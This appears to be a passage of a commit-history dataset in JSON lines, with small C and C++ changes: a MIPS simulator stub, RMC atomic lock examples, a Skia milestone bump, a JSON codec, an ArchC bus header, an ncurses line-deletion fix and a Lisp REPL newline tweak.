/ReactiveCocoa,hbucius\/ReactiveCocoa,RuiAAPeres\/ReactiveCocoa,Rupert-RR\/ReactiveCocoa,WEIBP\/ReactiveCocoa,nickcheng\/ReactiveCocoa,yizzuide\/ReactiveCocoa,tonyli508\/ReactiveCocoa,kaylio\/ReactiveCocoa,takeshineshiro\/ReactiveCocoa,LHDsimon\/ReactiveCocoa,esttorhe\/ReactiveCocoa,chao95957\/ReactiveCocoa,Pingco\/ReactiveCocoa,zhukaixy\/ReactiveCocoa,PSPDFKit-labs\/ReactiveCocoa,rpowelll\/ReactiveCocoa,pzw224\/ReactiveCocoa,dz1111\/ReactiveCocoa,luerhouhou\/ReactiveCocoa,gabemdev\/ReactiveCocoa,leichunfeng\/ReactiveCocoa,victorlin\/ReactiveCocoa,valleyman86\/ReactiveCocoa,yizzuide\/ReactiveCocoa,bensonday\/ReactiveCocoa,koamac\/ReactiveCocoa,howandhao\/ReactiveCocoa,hoanganh6491\/ReactiveCocoa,AndyZhaoHe\/ReactiveCocoa,monkeydbobo\/ReactiveCocoa,sujeking\/ReactiveCocoa,kiurentu\/ReactiveCocoa,SanChain\/ReactiveCocoa,towik\/ReactiveCocoa,ikesyo\/ReactiveCocoa,eyu1988\/ReactiveCocoa,beni55\/ReactiveCocoa,icepy\/ReactiveCocoa,dz1111\/ReactiveCocoa,calebd\/ReactiveCocoa,Remitly\/ReactiveCocoa,KuPai32G\/ReactiveCocoa,zzzworm\/ReactiveCocoa,almassapargali\/ReactiveCocoa,goodheart\/ReactiveCocoa,GuitarPlayer-Ma\/ReactiveCocoa,libiao88\/ReactiveCocoa,AlanJN\/ReactiveCocoa,longv2go\/ReactiveCocoa,SanChain\/ReactiveCocoa,wpstarnice\/ReactiveCocoa,xiaobing2007\/ReactiveCocoa,OneSmallTree\/ReactiveCocoa,liufeigit\/ReactiveCocoa,sugar2010\/ReactiveCocoa,ddc391565320\/ReactiveCocoa,on99\/ReactiveCocoa,ioshger0125\/ReactiveCocoa,zhaoguohui\/ReactiveCocoa,Rupert-RR\/ReactiveCocoa,terry408911\/ReactiveCocoa,andersio\/ReactiveCocoa,leelili\/ReactiveCocoa,shaohung001\/ReactiveCocoa,luerhouhou\/ReactiveCocoa,clg0118\/ReactiveCocoa,brasbug\/ReactiveCocoa,natan\/ReactiveCocoa,Eveian\/ReactiveCocoa,tiger8888\/ReactiveCocoa,hj3938\/ReactiveCocoa,nickcheng\/ReactiveCocoa,ailyanlu\/ReactiveCocoa,tipbit\/ReactiveCocoa,ztchena\/ReactiveCocoa,huiping192\/ReactiveCocoa,OneSmallTree\/ReactiveCocoa,victorlin\/ReactiveCocoa,isghe\/ReactiveCocoa,alvinvarghese\/ReactiveCocoa,yoichitgy\/ReactiveCocoa,leichunfeng\/ReactiveCocoa,ReactiveCocoa\/ReactiveSwift,mattpetters\/ReactiveCocoa,natestedman\/ReactiveCocoa,WEIBP\/ReactiveCocoa,CCOOOOLL\/ReactiveCocoa,zxq3220122\/ReactiveCocoa,xumaolin\/ReactiveCocoa,zhenlove\/ReactiveCocoa,KJin99\/ReactiveCocoa,windgo\/ReactiveCocoa,jeelun\/ReactiveCocoa,liufeigit\/ReactiveCocoa,eyu1988\/ReactiveCocoa,DreamHill\/ReactiveCocoa,LHDsimon\/ReactiveCocoa,cstars135\/ReactiveCocoa,SuPair\/ReactiveCocoa,dullgrass\/ReactiveCocoa,bencochran\/ReactiveCocoa,FelixYin66\/ReactiveCocoa,jrmiddle\/ReactiveCocoa,stevielu\/ReactiveCocoa,dullgrass\/ReactiveCocoa,335g\/ReactiveCocoa,tonyli508\/ReactiveCocoa,tiger8888\/ReactiveCocoa,xumaolin\/ReactiveCocoa,PSPDFKit-labs\/ReactiveCocoa,yoichitgy\/ReactiveCocoa,zhukaixy\/ReactiveCocoa,smilypeda\/ReactiveCocoa,hbucius\/ReactiveCocoa,SuPair\/ReactiveCocoa,beni55\/ReactiveCocoa,chao95957\/ReactiveCocoa,yaoxiaoyong\/ReactiveCocoa,ohwutup\/ReactiveCocoa,tzongw\/ReactiveCocoa,paulyoung\/ReactiveCocoa,ailyanlu\/ReactiveCocoa,PSPDFKit-labs\/ReactiveCocoa,fanghao085\/ReactiveCocoa,zhaoguohui\/ReactiveCocoa,sandyway\/ReactiveCocoa,andersio\/ReactiveCocoa,zhenlove\/ReactiveCocoa,JohnJin007\/ReactiveCocoa,ailyanlu\/ReactiveCocoa,llb1119\/test,ShawnLeee\/ReactiveCocoa,dachaoisme\/ReactiveCocoa,esttorhe\/ReactiveCocoa,tonyarnold\/ReactiveCocoa,WEIBP\/ReactiveCocoa,rpowelll\/ReactiveCocoa,mattpetters\/ReactiveCocoa,j364960953\/ReactiveCocoa,j364960953\/ReactiveCocoa,nikita-leonov\/ReactiveCocoa,wangqi211\/ReactiveCocoa,Juraldinio\/ReactiveCocoa,tonyli508\/ReactiveCocoa,swizzlr\/ReactiveCocoa,kevin-zqw\/ReactiveCocoa,mtxs007\/ReactiveCocoa,JackLian\/ReactiveCocoa,hj3938\/ReactiveCocoa,leichunfeng\/ReactiveCocoa,gengjf\/ReactiveCocoa,loupman\/ReactiveCocoa,lixar\/ReactiveCocoa,GuitarPlayer-Ma\/ReactiveCocoa,add715\/ReactiveCocoa,wpstarnice\/ReactiveCocoa,pzw224\/ReactiveCocoa,Adlai-Holler\/ReactiveCocoa,JohnJin007\/ReactiveCocoa,yytong\/ReactiveCocoa,Carthage\/ReactiveCocoa,luerhouhou\/ReactiveCocoa,icepy\/ReactiveCocoa,vincentiss\/ReactiveCocoa,ShawnLeee\/ReactiveCocoa,FelixYin66\/ReactiveCocoa,yaoxiaoyong\/ReactiveCocoa,dz1111\/ReactiveCocoa,vincentiss\/ReactiveCocoa,RuiAAPeres\/ReactiveCocoa,ddc391565320\/ReactiveCocoa,huiping192\/ReactiveCocoa,goodheart\/ReactiveCocoa,brightcove\/ReactiveCocoa,stevielu\/ReactiveCocoa,nickcheng\/ReactiveCocoa,xulibao\/ReactiveCocoa,Liquidsoul\/ReactiveCocoa,Ricowere\/ReactiveCocoa,yangshengchaoios\/ReactiveCocoa,sugar2010\/ReactiveCocoa,leelili\/ReactiveCocoa,xiaoliyang\/ReactiveCocoa,ericzhou2008\/ReactiveCocoa,Farteen\/ReactiveCocoa,terry408911\/ReactiveCocoa,Ethan89\/ReactiveCocoa,hilllinux\/ReactiveCocoa,fhchina\/ReactiveCocoa,jaylib\/ReactiveCocoa,stupidfive\/ReactiveCocoa,yangyangluoluo\/ReactiveCocoa,xiaoliyang\/ReactiveCocoa,loupman\/ReactiveCocoa,natestedman\/ReactiveCocoa,yangyangluoluo\/ReactiveCocoa,DreamHill\/ReactiveCocoa,rpowelll\/ReactiveCocoa,ztchena\/ReactiveCocoa,zhigang1992\/ReactiveCocoa,Liquidsoul\/ReactiveCocoa,Pingco\/ReactiveCocoa,mtxs007\/ReactiveCocoa,zhenlove\/ReactiveCocoa,BlessNeo\/ReactiveCocoa,ShawnLeee\/ReactiveCocoa,Rupert-RR\/ReactiveCocoa,dullgrass\/ReactiveCocoa,DongDongDongDong\/ReactiveCocoa,alvinvarghese\/ReactiveCocoa,zhiwen1024\/ReactiveCocoa,kiurentu\/ReactiveCocoa,howandhao\/ReactiveCocoa,dskatz22\/ReactiveCocoa,brightcove\/ReactiveCocoa,ericzhou2008\/ReactiveCocoa,towik\/ReactiveCocoa,JohnJin007\/ReactiveCocoa,Ray0218\/ReactiveCocoa,OnTheWay1988\/ReactiveCocoa,zhiwen1024\/ReactiveCocoa,Remitly\/ReactiveCocoa,sugar2010\/ReactiveCocoa,bencochran\/ReactiveCocoa,sandyway\/ReactiveCocoa,OneSmallTree\/ReactiveCocoa,richeterre\/ReactiveCocoa,kiurentu\/ReactiveCocoa,CQXfly\/ReactiveCocoa,hilllinux\/ReactiveCocoa,SuPair\/ReactiveCocoa,Eveian\/ReactiveCocoa,ceekayel\/ReactiveCocoa,eliperkins\/ReactiveCocoa,llb1119\/test,walkingsmarts\/ReactiveCocoa,Ethan89\/ReactiveCocoa,zzzworm\/ReactiveCocoa,OnTheWay1988\/ReactiveCocoa,terry408911\/ReactiveCocoa,KuPai32G\/ReactiveCocoa,howandhao\/ReactiveCocoa,jeelun\/ReactiveCocoa,goodheart\/ReactiveCocoa,JackLian\/ReactiveCocoa,imkerberos\/ReactiveCocoa,kevin-zqw\/ReactiveCocoa,j364960953\/ReactiveCocoa,shaohung001\/ReactiveCocoa,yytong\/ReactiveCocoa,Adlai-Holler\/ReactiveCocoa,andersio\/ReactiveCocoa,jsslai\/ReactiveCocoa,mxxiv\/ReactiveCocoa,Adlai-Holler\/ReactiveCocoa,kaylio\/ReactiveCocoa,cogddo\/ReactiveCocoa,jsslai\/ReactiveCocoa,chieryw\/ReactiveCocoa,200895045\/ReactiveCocoa,wangqi211\/ReactiveCocoa,Pikdays\/ReactiveCocoa,sdhzwm\/ReactiveCocoa,libiao88\/ReactiveCocoa,Carthage\/ReactiveCocoa,ioshger0125\/ReactiveCocoa,Juraldinio\/ReactiveCocoa,leelili\/ReactiveCocoa,zxq3220122\/ReactiveCocoa,CQXfly\/ReactiveCocoa,chao95957\/ReactiveCocoa,DreamHill\/ReactiveCocoa,clg0118\/ReactiveCocoa,AlanJN\/ReactiveCocoa,dachaoisme\/ReactiveCocoa,beni55\/ReactiveCocoa,KJin99\/ReactiveCocoa,almassapargali\/ReactiveCocoa,sdhzwm\/ReactiveCocoa,FelixYin66\/ReactiveCocoa,clg0118\/ReactiveCocoa,jrmiddle\/ReactiveCocoa,calebd\/ReactiveCocoa,tornade0913\/ReactiveCocoa,jianwoo\/ReactiveCocoa,Farteen\/ReactiveCocoa,mattpetters\/ReactiveCocoa,tornade0913\/ReactiveCocoa,juliangrosshauser\/ReactiveCocoa,AllanChen\/ReactiveCocoa,CCOOOOLL\/ReactiveCocoa,smilypeda\/ReactiveCocoa,SmartEncounter\/ReactiveCocoa,335g\/ReactiveCocoa,taylormoonxu\/ReactiveCocoa,jam891\/ReactiveCocoa,zzqiltw\/ReactiveCocoa,yangyangluoluo\/ReactiveCocoa,tiger8888\/ReactiveCocoa,zhukaixy\/ReactiveCocoa,Ricowere\/ReactiveCocoa,sujeking\/ReactiveCocoa,ceekayel\/ReactiveCocoa,esttorhe\/ReactiveCocoa,tzongw\/ReactiveCocoa,qq644531343\/ReactiveCocoa,xiaoliyang\/ReactiveCocoa,esttorhe\/ReactiveCocoa,hbucius\/ReactiveCocoa,lixar\/ReactiveCocoa,on99\/ReactiveCocoa,vincentiss\/ReactiveCocoa,shuxiashusheng\/ReactiveCocoa,KuPai32G\/ReactiveCocoa,Ethan89\/ReactiveCocoa,pzw224\/ReactiveCocoa,yangshengchaoios\/ReactiveCocoa,SmartEncounter\/ReactiveCocoa,emodeqidao\/ReactiveCocoa,koamac\/ReactiveCocoa,natan\/ReactiveCocoa,BrooksWon\/ReactiveCocoa,DongDongDongDong\/ReactiveCocoa,cstars135\/ReactiveCocoa,chieryw\/ReactiveCocoa,335g\/ReactiveCocoa,jrmiddle\/ReactiveCocoa,takeshineshiro\/ReactiveCocoa,ceekayel\/ReactiveCocoa,yizzuide\/ReactiveCocoa,emodeqidao\/ReactiveCocoa,brasbug\/ReactiveCocoa,imkerberos\/ReactiveCocoa,dskatz22\/ReactiveCocoa,fanghao085\/ReactiveCocoa,on99\/ReactiveCocoa,liufeigit\/ReactiveCocoa,qq644531343\/ReactiveCocoa,AndyZhaoHe\/ReactiveCocoa,Ricowere\/ReactiveCocoa,BrooksWon\/ReactiveCocoa,shuxiashusheng\/ReactiveCocoa,bensonday\/ReactiveCocoa,mtxs007\/ReactiveCocoa,eliperkins\/ReactiveCocoa,ReactiveCocoa\/ReactiveSwift,jaylib\/ReactiveCocoa,zzqiltw\/ReactiveCocoa,huiping192\/ReactiveCocoa,gengjf\/ReactiveCocoa,shuxiashusheng\/ReactiveCocoa,yonekawa\/ReactiveCocoa,mxxiv\/ReactiveCocoa,jaylib\/ReactiveCocoa,imkerberos\/ReactiveCocoa,brightcove\/ReactiveCocoa,hilllinux\/ReactiveCocoa,natan\/ReactiveCocoa,cnbin\/ReactiveCocoa,zhaoguohui\/ReactiveCocoa,Khan\/ReactiveCocoa,loupman\/ReactiveCocoa,paulyoung\/ReactiveCocoa,richeterre\/ReactiveCocoa,200895045\/ReactiveCocoa,nikita-leonov\/ReactiveCocoa,bscarano\/ReactiveCocoa,BlessNeo\/ReactiveCocoa,juliangrosshauser\/ReactiveCocoa,RuiAAPeres\/ReactiveCocoa,msdgwzhy6\/ReactiveCocoa,nikita-leonov\/ReactiveCocoa,isghe\/ReactiveCocoa,jackywpy\/ReactiveCocoa,DongDongDongDong\/ReactiveCocoa,icepy\/ReactiveCocoa,takeshineshiro\/ReactiveCocoa,yonekawa\/ReactiveCocoa,Farteen\/ReactiveCocoa,kevin-zqw\/ReactiveCocoa,jianwoo\/ReactiveCocoa,AndyZhaoHe\/ReactiveCocoa,add715\/ReactiveCocoa,tonyarnold\/ReactiveCocoa,Liquidsoul\/ReactiveCocoa,dachaoisme\/ReactiveCocoa,SanChain\/ReactiveCocoa,zhigang1992\/ReactiveCocoa,msdgwzhy6\/ReactiveCocoa,Ricowere\/ReactiveCocoa,richeterre\/ReactiveCocoa,bscarano\/ReactiveCocoa,Pingco\/ReactiveCocoa,Pikdays\/ReactiveCocoa,calebd\/ReactiveCocoa,nickcheng\/ReactiveCocoa,chieryw\/ReactiveCocoa,xiaobing2007\/ReactiveCocoa,fhchina\/ReactiveCocoa,yangshengchaoios\/ReactiveCocoa,kaylio\/ReactiveCocoa,cogddo\/ReactiveCocoa,eliperkins\/ReactiveCocoa,stevielu\/ReactiveCocoa,jackywpy\/ReactiveCocoa,ohwutup\/ReactiveCocoa,sujeking\/ReactiveCocoa,jam891\/ReactiveCocoa,buildo\/ReactiveCocoa,jeelun\/ReactiveCocoa,CQXfly\/ReactiveCocoa,dskatz22\/ReactiveCocoa,gengjf\/ReactiveCocoa,smilypeda\/ReactiveCocoa,LHDsimon\/ReactiveCocoa,tornade0913\/ReactiveCocoa,ericzhou2008\/ReactiveCocoa,natestedman\/ReactiveCocoa,walkingsmarts\/ReactiveCocoa,wangqi211\/ReactiveCocoa,AllanChen\/ReactiveCocoa,JackLian\/ReactiveCocoa,Eveian\/ReactiveCocoa,stupidfive\/ReactiveCocoa,gabemdev\/ReactiveCocoa,emodeqidao\/ReactiveCocoa,ohwutup\/ReactiveCocoa,Pikdays\/ReactiveCocoa,lixar\/ReactiveCocoa,jianwoo\/ReactiveCocoa,xiaobing2007\/ReactiveCocoa,jaylib\/ReactiveCocoa"}
{"commit":"9e903e78de2ca4a4b4aaa80b2dc6320e581c87da","old_file":"c-in-mips.c","new_file":"c-in-mips.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <ctype.h>\n#include <math.h>\n\nstatic int RegisterFile[32] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };\n\nint main() {\n\n\tint data_memory[1024];\n\tchar string_memeory[2014];\n}","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <ctype.h>\n#include <math.h>\n\nstatic int RegisterFile[32] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };\n\nint main() {\n\n\tint data_memory[1024];\n\tchar* string_memory[2014];\n\tchar* instructions[100];\n\n\n}","subject":"Fix typos, add instruction memory","message":"Fix typos, add instruction memory\n","lang":"C","license":"apache-2.0","repos":"jacobbieker\/MIPS-In-C"}
{"commit":"c13048b862e88494460d6e70c5ce83f99f3393a8","old_file":"examples\/locks.c","new_file":"examples\/locks.c","old_contents":"","new_contents":"#include <stddef.h>\n#include \"atomic.h\"\n#include \"rmc.h\"\n\n\/\/\/\n\/\/ Needs to live somewhere else at some point\n\/\/ Argh, what do we name these.\n#include \"stdatomic.h\"\n\n\n#define atomic_fixup(e) ((_Atomic(__typeof__(*e))*)(e))\n\n#define rmc_compare_exchange_strong(object, expected, desired)          \\\n atomic_compare_exchange_strong_explicit(atomic_fixup(object), expected, \\\n                         desired, memory_order_relaxed, memory_order_relaxed)\n#define rmc_compare_exchange_weak(object, expected, desired)            \\\n atomic_compare_exchange_weak_explicit(atomic_fixup(object), expected, \\\n                         desired, memory_order_relaxed, memory_order_relaxed)\n#define rmc_exchange(object, desired)                                   \\\n atomic_exchange_explicit(atomic_fixup(object), desired, memory_order_relaxed)\n#define rmc_fetch_add(object, operand)                               \\\n atomic_fetch_add_explicit(atomic_fixup(object), operand, memory_order_relaxed)\n#define rmc_fetch_and(object, operand)                               \\\n atomic_fetch_and_explicit(atomic_fixup(object), operand, memory_order_relaxed)\n#define rmc_fetch_or(object, operand)                                \\\n atomic_fetch_or_explicit(atomic_fixup(object), operand, memory_order_relaxed)\n#define rmc_fetch_sub(object, operand)                               \\\n atomic_fetch_sub_explicit(atomic_fixup(object), operand, memory_order_relaxed)\n#define rmc_fetch_xor(object, operand)                               \\\n atomic_fetch_xor_explicit(atomic_fixup(object), operand, memory_order_relaxed)\n\n\/\/\/\n\ntypedef struct mutex_t {\n    int locked;\n} mutex_t;\n\nvoid mutex_lock_bad(mutex_t *lock)\n{\n    XEDGE(lock, post);\n    int expected;\n    do {\n        expected = 0;\n    } while (!L(lock, rmc_compare_exchange_weak(&lock->locked, &expected, 1)));\n}\n\nvoid mutex_lock(mutex_t *lock)\n{\n    XEDGE(lock, loop_out);\n    XEDGE(loop_out, post);\n    int expected;\n    do {\n        expected = 0;\n    } while (L(lock, rmc_compare_exchange_weak(&lock->locked, &expected, 1)) == 0);\n    L(loop_out, 0);\n}\n\nvoid mutex_unlock(mutex_t *lock)\n{\n    VEDGE(pre, unlock);\n    L(unlock, lock->locked = 0);\n}\n\nint nus(int *x) {\n    return rmc_fetch_and(x, 1337);\n}\n","subject":"Add some tests with RMWs","message":"Add some tests with RMWs\n","lang":"C","license":"mit","repos":"msullivan\/rmc-compiler,msullivan\/rmc-compiler,msullivan\/rmc-compiler,msullivan\/rmc-compiler,msullivan\/rmc-compiler,msullivan\/rmc-compiler"}
{"commit":"8800559e793472408e0d44efeb4642bf3808f13e","old_file":"include\/core\/SkMilestone.h","new_file":"include\/core\/SkMilestone.h","old_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 108\n#endif\n","new_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 109\n#endif\n","subject":"Update Skia milestone to 109","message":"Update Skia milestone to 109\n\nChange-Id: I6acfef789b38f71183304cc3741c119265561b3c\nReviewed-on: https:\/\/skia-review.googlesource.com\/c\/skia\/+\/591477\nReviewed-by: Rakshit Sharma <e91e6cdce3825eaad0fa11b55195605cfed87fab@google.com>\nOwners-Override: Kevin Lubick <7cdab2cfab351f23814786ba39716e90eed69047@google.com>\nAuto-Submit: Rakshit Sharma <e91e6cdce3825eaad0fa11b55195605cfed87fab@google.com>\nReviewed-by: Kevin Lubick <7cdab2cfab351f23814786ba39716e90eed69047@google.com>\nCommit-Queue: Kevin Lubick <7cdab2cfab351f23814786ba39716e90eed69047@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia"}
{"commit":"80475026890a36dea4915fc9261a879ed24cca99","old_file":"Wangscape\/codecs\/TileLocationCodec.h","new_file":"Wangscape\/codecs\/TileLocationCodec.h","old_contents":"","new_contents":"#pragma once\n\n#include <spotify\/json.hpp>\n\n#include \"TileLocation.h\"\n\nusing namespace spotify::json::codec;\n\nnamespace spotify\n{\nnamespace json\n{\n\ntemplate<>\nstruct default_codec_t<TileLocation>\n{\n    static object_t<TileLocation> codec()\n    {\n        auto codec = object<TileLocation>();\n        codec.required(\"filename\", &TileLocation::filename);\n        codec.required(\"x\", &TileLocation::x);\n        codec.required(\"y\", &TileLocation::y);\n        return codec;\n    }\n};\n\n}\n}\n","subject":"Add a codec for TileLocation","message":"Add a codec for TileLocation\n","lang":"C","license":"mit","repos":"serin-delaunay\/Wangscape,serin-delaunay\/Wangscape,Wangscape\/Wangscape,Wangscape\/Wangscape,Wangscape\/Wangscape"}
{"commit":"5cec34cba823feb1e1b47d95de433f1ac96ea873","old_file":"is\/ac_tlm_bus\/ac_tlm_bus.h","new_file":"is\/ac_tlm_bus\/ac_tlm_bus.h","old_contents":"#ifndef AC_TLM_BUS_H_\n#define AC_TLM_BUS_H_\n\n#include <systemc>\n#include \"ac_tlm_protocol.H\"\n#include \"ac_tlm_port.H\"\n#include \"ac_memport.H\"\n\n\/\/ using statements\nusing tlm::tlm_transport_if;\n\n\/\/#define DEBUG\n\n\/\/\/ Namespace to isolate bus from ArchC\nnamespace user\n{\n\n\/\/\/ A TLM bus\nclass ac_tlm_bus :\n  public sc_module,\n  public ac_tlm_transport_if \/\/ Using ArchC TLM protocol\n{\npublic:\n  \/\/ Memory communication port\n  ac_tlm_port DM_port;\n\n  \/\/\/ Exposed port with ArchC interface\n  sc_export< ac_tlm_transport_if > target_export[4];\n\n  \/**\n   * Implementation of TLM transport method that\n   * handle packets of the protocol doing apropriate actions.\n   * This method must be implemented (required by SystemC TLM).\n   * @param request is a received request packet\n   * @return A response packet to be send\n  *\/\n  ac_tlm_rsp transport( const ac_tlm_req &request ) {\n    return DM_port->transport(request);\n  }\n\n\n  \/**\n   * Default constructor.\n   *\/\n  ac_tlm_bus(sc_module_name module_name);\n\n  \/**\n   * Default destructor.\n   *\/\n  ~ac_tlm_bus();\n};\n\n};\n\n#endif \/\/AC_TLM_BUS_H_\n","new_contents":"#ifndef AC_TLM_BUS_H_\n#define AC_TLM_BUS_H_\n\n#include <systemc>\n#include \"ac_tlm_protocol.H\"\n#include \"ac_tlm_port.H\"\n#include \"ac_memport.H\"\n\n\/\/ using statements\nusing tlm::tlm_transport_if;\n\n\/\/#define DEBUG\n\n\/\/\/ Namespace to isolate bus from ArchC\nnamespace user\n{\n\n\/\/\/ A TLM bus\nclass ac_tlm_bus :\n  public sc_module,\n  public ac_tlm_transport_if \/\/ Using ArchC TLM protocol\n{\npublic:\n  \/\/ Memory communication port\n  ac_tlm_port DM_port;\n\n  \/\/\/ Exposed port with ArchC interface\n  sc_export< ac_tlm_transport_if > target_export[8];\n\n  \/**\n   * Implementation of TLM transport method that\n   * handle packets of the protocol doing apropriate actions.\n   * This method must be implemented (required by SystemC TLM).\n   * @param request is a received request packet\n   * @return A response packet to be send\n  *\/\n  ac_tlm_rsp transport( const ac_tlm_req &request ) {\n    return DM_port->transport(request);\n  }\n\n\n  \/**\n   * Default constructor.\n   *\/\n  ac_tlm_bus(sc_module_name module_name);\n\n  \/**\n   * Default destructor.\n   *\/\n  ~ac_tlm_bus();\n};\n\n};\n\n#endif \/\/AC_TLM_BUS_H_\n","subject":"Make room for 8 processors in the bus.","message":"Make room for 8 processors in the bus.\n","lang":"C","license":"lgpl-2.1","repos":"eggpi\/mc723-p3,guilherme-pg\/mc723-p3,guilherme-pg\/mc723-p3,eggpi\/mc723-p3,eggpi\/mc723-p3,guilherme-pg\/mc723-p3,guilherme-pg\/mc723-p3,eggpi\/mc723-p3"}
{"commit":"e40600458fdf7a84940f1de3103886173646b19b","old_file":"lib\/libncurses\/lib_insdel.c","new_file":"lib\/libncurses\/lib_insdel.c","old_contents":"\n\/* This work is copyrighted. See COPYRIGHT.OLD & COPYRIGHT.NEW for   *\n*  details. If they are missing then this copy is in violation of    *\n*  the copyright conditions.                                        *\/\n\n\/*\n**\tlib_insdel.c\n**\n**\tThe routine winsdel(win, n).\n**  positive n insert n lines above current line\n**  negative n delete n lines starting from current line\n**\n*\/\n\n#include <stdlib.h>\n#include \"curses.priv.h\"\n#include \"terminfo.h\"\n\nint\nwinsdelln(WINDOW *win, int n)\n{\n\tint ret, sscroll, stop, sbot;\n\n\tT((\"winsdel(%x,%d) called\", win, n));\n\n\tif (n == 0)\n\t\treturn OK;\n\tif (n < 0 && win->_cury - n >= win->_maxy)\n\t\t\/* request to delete too many lines *\/\n\t\t\/* should we truncate to an appropriate number? *\/\n\t\treturn ERR;\n\n\tsscroll = win->_scroll;\n\tstop = win->_regtop;\n\tsbot = win->_regbottom;\n\n\twin->_scroll = TRUE;\n\twin->_regtop = win->_cury;\n\tif (win->_regtop > win->_regbottom)\n\t\twin->_regbottom = win->_maxy;\n\n\tret = wscrl(win, -n);\n\n\twin->_scroll = sscroll;\n\twin->_regtop = stop;\n\twin->_regbottom = sbot;\n\n\treturn ret;\n}\n","new_contents":"\n\/* This work is copyrighted. See COPYRIGHT.OLD & COPYRIGHT.NEW for   *\n*  details. If they are missing then this copy is in violation of    *\n*  the copyright conditions.                                        *\/\n\n\/*\n**\tlib_insdel.c\n**\n**\tThe routine winsdel(win, n).\n**  positive n insert n lines above current line\n**  negative n delete n lines starting from current line\n**\n*\/\n\n#include <stdlib.h>\n#include \"curses.priv.h\"\n#include \"terminfo.h\"\n\nint\nwinsdelln(WINDOW *win, int n)\n{\n\tint ret, sscroll, stop, sbot;\n\n\tT((\"winsdel(%x,%d) called\", win, n));\n\n\tif (n == 0)\n\t\treturn OK;\n\tif (n == -1 && win->_cury == win->_maxy)\n\t\treturn wclrtoeol(win);\n\tif (n < 0 && win->_cury - n > win->_maxy)\n\t\t\/* request to delete too many lines *\/\n\t\t\/* should we truncate to an appropriate number? *\/\n\t\treturn ERR;\n\n\tsscroll = win->_scroll;\n\tstop = win->_regtop;\n\tsbot = win->_regbottom;\n\n\twin->_scroll = TRUE;\n\twin->_regtop = win->_cury;\n\tif (win->_regtop > win->_regbottom)\n\t\twin->_regbottom = win->_maxy;\n\n\tret = wscrl(win, -n);\n\n\twin->_scroll = sscroll;\n\twin->_regtop = stop;\n\twin->_regbottom = sbot;\n\n\treturn ret;\n}\n","subject":"Handle the condition where BS is typed while the cursor is at the first position on either of the last two lines of the screen. Ie. append contents of current line to the previous line and scroll the next line's contents up.","message":"Handle the condition where BS is typed while the cursor is\nat the first position on either of the last two lines of the\nscreen.  Ie. append contents of current line to the previous\nline and scroll the next line's contents up.\n\nPR:\t\t5392\nSubmitted by:\tKouichi Hirabayashi <kh@mogami-wire.co.jp>\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"217625d26001121e40c1e309321d2b9a104623f6","old_file":"wisp.c","new_file":"wisp.c","old_contents":"#include <stdio.h>\n#include \"common.h\"\n#include \"wisp.h\"\n#include \"lisp.h\"\n\n\/* parser crap *\/\nextern FILE *yyin;\nint yyparse ();\nvoid parser_init ();\nextern int interactive;\nextern char *prompt;\n\n\/* Initilize all the systems. *\/\nvoid init ()\n{\n  \/* These *must* be called in this order. *\/\n  object_init ();\n  symtab_init ();\n  cons_init ();\n  eval_init ();\n  lisp_init ();\n  parser_init ();\n}\n\nint main (int argc, char **argv)\n{\n  (void) argc;\n  (void) argv;\n  init ();\n\n  \/* Load core lisp code. *\/\n  interactive = 0;\n  yyin = fopen (\"core.wisp\", \"r\");\n  if (yyin == NULL)\n    {\n      fprintf (stderr, \"error: could not load core lisp.\\n\");\n      exit (EXIT_FAILURE);\n    }\n  yyparse ();\n  fclose (yyin);\n  \/* yy_flush_buffer(); *\/\n\n  \/* Run interaction. *\/\n  interactive = 1;\n  printf (\"Happy hacking!\\n%s\", prompt);\n  yyin = stdin;\n  yyparse ();\n}\n","new_contents":"#include <stdio.h>\n#include \"common.h\"\n#include \"wisp.h\"\n#include \"lisp.h\"\n\n\/* parser crap *\/\nextern FILE *yyin;\nint yyparse ();\nvoid parser_init ();\nextern int interactive;\nextern char *prompt;\n\n\/* Initilize all the systems. *\/\nvoid init ()\n{\n  \/* These *must* be called in this order. *\/\n  object_init ();\n  symtab_init ();\n  cons_init ();\n  eval_init ();\n  lisp_init ();\n  parser_init ();\n}\n\nint main (int argc, char **argv)\n{\n  (void) argc;\n  (void) argv;\n  init ();\n\n  \/* Load core lisp code. *\/\n  interactive = 0;\n  yyin = fopen (\"core.wisp\", \"r\");\n  if (yyin == NULL)\n    {\n      fprintf (stderr, \"error: could not load core lisp.\\n\");\n      exit (EXIT_FAILURE);\n    }\n  yyparse ();\n  fclose (yyin);\n  \/* yy_flush_buffer(); *\/\n\n  \/* Run interaction. *\/\n  interactive = 1;\n  printf (\"Happy hacking!\\n%s\", prompt);\n  yyin = stdin;\n  yyparse ();\n  printf (\"\\n\");\n}\n","subject":"Print newline on clean exit.","message":"Print newline on clean exit.\n","lang":"C","license":"unlicense","repos":"skeeto\/wisp,skeeto\/wisp"}
